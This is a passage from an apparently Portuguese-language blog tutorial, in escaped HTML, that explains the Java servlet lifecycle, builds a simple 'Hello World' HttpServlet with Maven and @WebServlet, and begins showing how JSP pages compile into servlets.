&lt;li&gt;O &lt;em&gt;servlet&lt;/em&gt; então chama o método &lt;code class=&quot;language-text&quot;&gt;service()&lt;/code&gt; para processar uma requisição do cliente;&lt;/li&gt;
&lt;li&gt;O &lt;em&gt;servlet&lt;/em&gt; é terminado ao chamar o método &lt;code class=&quot;language-text&quot;&gt;destroy()&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Então o &lt;code class=&quot;language-text&quot;&gt;destroy()&lt;/code&gt;, executado no fim do ciclo de vida do &lt;em&gt;servlet&lt;/em&gt; sinaliza o fim da &lt;em&gt;servlet instance&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 405px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b573627404cddeb84cf74411a8808ac6/02e66/java-servletlife.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 108.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAWABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAECAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAH3+e4aAgUH/8QAGRAAAgMBAAAAAAAAAAAAAAAAAAEQESFB/9oACAEBAAEFAh20abPD/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPwEf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPwEf/8QAGBAAAgMAAAAAAAAAAAAAAAAAAAERITD/2gAIAQEABj8CKcPD/8QAGxABAAIDAQEAAAAAAAAAAAAAAQARECFBMWH/2gAIAQEAAT8hdETQuDV49cj63CN8aiNqd/cf/9oADAMBAAIAAwAAABBzwDz/xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/EB//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/EB//xAAcEAACAwADAQAAAAAAAAAAAAABEQAhMRBBUYH/2gAIAQEAAT8QMlIhlhFqB8d8aWA6qCyIFVRlcEho9TisJsIQNXs//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama ilustrando o ciclo de vida de um servlet&quot;
        title=&quot;Diagrama ilustrando o ciclo de vida de um servlet (javatpoint.com)&quot;
        src=&quot;/static/b573627404cddeb84cf74411a8808ac6/02e66/java-servletlife.jpg&quot;
        srcset=&quot;/static/b573627404cddeb84cf74411a8808ac6/7809d/java-servletlife.jpg 192w,
/static/b573627404cddeb84cf74411a8808ac6/4ecad/java-servletlife.jpg 384w,
/static/b573627404cddeb84cf74411a8808ac6/02e66/java-servletlife.jpg 405w&quot;
        sizes=&quot;(max-width: 405px) 100vw, 405px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diagrama ilustrando o ciclo de vida de um servlet (javatpoint.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;init&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;destroy&lt;/code&gt; são chamados apenas uma vez. Por fim, o &lt;em&gt;servlet&lt;/em&gt; é coletado pelo &lt;em&gt;gargabe collector&lt;/em&gt; da &lt;em&gt;JVM&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Um pouco de prática&lt;/h2&gt;
&lt;p&gt;Dentro do contexto da linguagem &lt;em&gt;Java&lt;/em&gt;, a &lt;code class=&quot;language-text&quot;&gt;Servlet&lt;/code&gt; também é uma &lt;code class=&quot;language-text&quot;&gt;Interface&lt;/code&gt;. No nosso escopo, falando de desenvolvimento &lt;em&gt;web&lt;/em&gt;, usaremos uma implementação mais especializada para trabalhar com o protocolo &lt;em&gt;HTTP&lt;/em&gt;, chamada &lt;code class=&quot;language-text&quot;&gt;HttpServlet&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Voltando ao projeto &lt;code class=&quot;language-text&quot;&gt;ola-mundo&lt;/code&gt;, criado no artigo anterior, vamos adicionar a &lt;em&gt;servlet API&lt;/em&gt; como dependência do projeto. Antes do nó &lt;code class=&quot;language-text&quot;&gt;&amp;lt;build&gt;&lt;/code&gt;, acrescente o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;xml&quot;&gt;&lt;pre class=&quot;language-xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;maven.compiler.source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;11&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;maven.compiler.source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;maven.compiler.target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;11&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;maven.compiler.target&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;dependencies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;javax.servlet&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;javax.servlet-api&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;4.0.1&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;scope&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;provided&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;scope&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;dependency&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;dependencies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Altere o &lt;code class=&quot;language-text&quot;&gt;maven.compiler.source&lt;/code&gt; para a versão do &lt;em&gt;Java&lt;/em&gt; que você estiver utilizando no momento.&lt;/p&gt;
&lt;p&gt;Na sequência, crie o pacote onde escreveremos a classe:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mkdir -p src/main/java/webapp&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma vez na pasta, crie o arquivo &lt;code class=&quot;language-text&quot;&gt;OlaMundoServlet.java&lt;/code&gt; com o seguinte conteúdo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/main/java/webapp/OlaMundoServlet.java&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;webapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;java&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;io&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;java&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;io&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;PrintWriter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;annotation&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;WebServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;http&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token annotation punctuation&quot;&gt;@WebServlet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;urlPatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/servlet&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;OlaMundoServlet&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServlet&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;HttpServletRequest&lt;/span&gt; req&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HttpServletResponse&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletException&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;IOException&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;PrintWriter&lt;/span&gt; out &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getWriter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;html&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;body&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;h2&gt;Hello World! (from servlet)&amp;lt;/h2&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;/body&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;/html&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Execute novamente o comando &lt;code class=&quot;language-text&quot;&gt;mvn clean tomcat7:run&lt;/code&gt;, e acesse o endereço &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080/servlet&lt;/code&gt;. Bingo!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/74ebe4d5cf55934464cab40d1a553f1e/6af66/java-servlet-browser-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 37.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAAAjUlEQVQY02OwsvczsfJycA21cQo0t/WxtPdz8gy3dwsBMkysvQzMXXUMHXWMsCOGyVNnT50xb8asBVOmz5k2c97suYsWLl4xa+6ieQuWbd66e+OWnRs27cCFGB4+fPD69avHjx89e/b0xXMg8eTli+dPnzx++/bNf0KAAY/cH0KA4S8O8O/fP4psHsSaAd/VmUKXtqvxAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo utilizando Servlet&quot;
        title=&quot;Exemplo utilizando Servlet&quot;
        src=&quot;/static/74ebe4d5cf55934464cab40d1a553f1e/6af66/java-servlet-browser-example.png&quot;
        srcset=&quot;/static/74ebe4d5cf55934464cab40d1a553f1e/8514f/java-servlet-browser-example.png 192w,
/static/74ebe4d5cf55934464cab40d1a553f1e/804b2/java-servlet-browser-example.png 384w,
/static/74ebe4d5cf55934464cab40d1a553f1e/6af66/java-servlet-browser-example.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo utilizando Servlet&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Mais razão, menos magia&lt;/h3&gt;
&lt;p&gt;A partir da especificação &lt;em&gt;Servlet 3&lt;/em&gt;, é possível utilizar &lt;a href=&quot;https://docs.oracle.com/javase/tutorial/java/annotations/&quot; title=&quot;Leia mais na documentação da Oracle&quot;&gt;&lt;em&gt;annotations&lt;/em&gt;&lt;/a&gt; para configurar o &lt;em&gt;deployment&lt;/em&gt; do &lt;em&gt;servlet&lt;/em&gt;. Com essa forma mais &quot;programática&quot; não é necessário alterar o arquivo &lt;code class=&quot;language-text&quot;&gt;WEB-INF/web.xml&lt;/code&gt;, e o resultado final fica (na minha opinião) mais prático de ser gerenciado.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/97c12bfdb3c20672816abde1d315495b/07f3a/gandalf.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMCBf/EABUBAQEAAAAAAAAAAAAAAAAAAAEA/9oADAMBAAIQAxAAAAHi3ngSaP/EABoQAAIDAQEAAAAAAAAAAAAAAAACARExAyH/2gAIAQEAAQUC0aI5pQvitln/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAZEAACAwEAAAAAAAAAAAAAAAABEAASQVL/2gAIAQEABj8Cg6Kvr//EABsQAAIDAQEBAAAAAAAAAAAAAAABESExUWFx/9oACAEBAAE/IdKHop9kksyx0heHSz5P/9oADAMBAAIAAwAAABAw/wD/xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAwEBPxBX/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8QiP/EABwQAQACAgMBAAAAAAAAAAAAAAEAESExQVFxYf/aAAgBAQABPxCg9nTUEKIXMC6r3DGw1lewqENC1fjHf16joNnot0TxJ//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Gandalf em O Senhor dos Anéis&quot;
        title=&quot;Vemos aqui Gandalf claramente desfrutando do seu vício em Java (greenide.com)&quot;
        src=&quot;/static/97c12bfdb3c20672816abde1d315495b/07f3a/gandalf.jpg&quot;
        srcset=&quot;/static/97c12bfdb3c20672816abde1d315495b/7809d/gandalf.jpg 192w,
/static/97c12bfdb3c20672816abde1d315495b/4ecad/gandalf.jpg 384w,
/static/97c12bfdb3c20672816abde1d315495b/07f3a/gandalf.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Vemos aqui Gandalf claramente desfrutando do seu vício em Java (greenide.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Com a anotação &lt;code class=&quot;language-text&quot;&gt;@WebServlet&lt;/code&gt; mapeamos um nome e rota específicos (&lt;code class=&quot;language-text&quot;&gt;/servlet&lt;/code&gt;) ao &lt;em&gt;servlet&lt;/em&gt; em questão. O &lt;em&gt;servlet container&lt;/em&gt; irá reconhecê-lo e fará a ligação entre rota e classe &lt;em&gt;Java&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Há mais vantagens (e &lt;em&gt;annotations&lt;/em&gt;) disponíveis com essa versão da especificação. Para saber mais, o &quot;&lt;a href=&quot;https://dzone.com/articles/an-overview-servlet-30&quot; title=&quot;Leia mais do DZone&quot;&gt;An Overview of Servlet 3.0&lt;/a&gt;&quot;, do site &lt;em&gt;DZone&lt;/em&gt;, traz um breve resumo.&lt;/p&gt;
&lt;h2&gt;JavaServer Pages&lt;/h2&gt;
&lt;p&gt;Você deve estar se perguntando: De onde veio aquele &quot;Hello World!&quot;, do endereço &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080/&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Ele veio do arquivo &lt;code class=&quot;language-text&quot;&gt;index.jsp&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cat src/main/webapp/index.jsp

&amp;lt;html&gt;
&amp;lt;body&gt;
&amp;lt;h2&gt;Hello World!&amp;lt;/h2&gt;
&amp;lt;/body&gt;
&amp;lt;/html&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;JavaServer Pages (JSP) is a collection of technologies that helps software developers create dynamically generated web pages based on HTML, XML, SOAP, or other document types. (...) JSP is similar to PHP and ASP, but it uses the Java programming language.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;To deploy and run JavaServer Pages, a compatible web server with a servlet container, such as Apache Tomcat or Jetty, is required.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Na prática, &lt;em&gt;JSP&lt;/em&gt; é uma abstração de &lt;em&gt;servlet&lt;/em&gt;. Os arquivos &lt;em&gt;JSP&lt;/em&gt; são traduzidos em &lt;em&gt;servlets&lt;/em&gt; durante o &lt;em&gt;runtime&lt;/em&gt;, resultando em algo similar com o que fizemos ao escrever o nosso próprio:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cat target/tomcat/work/Tomcat/localhost/_/org/apache/jsp/index_jsp.java

package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

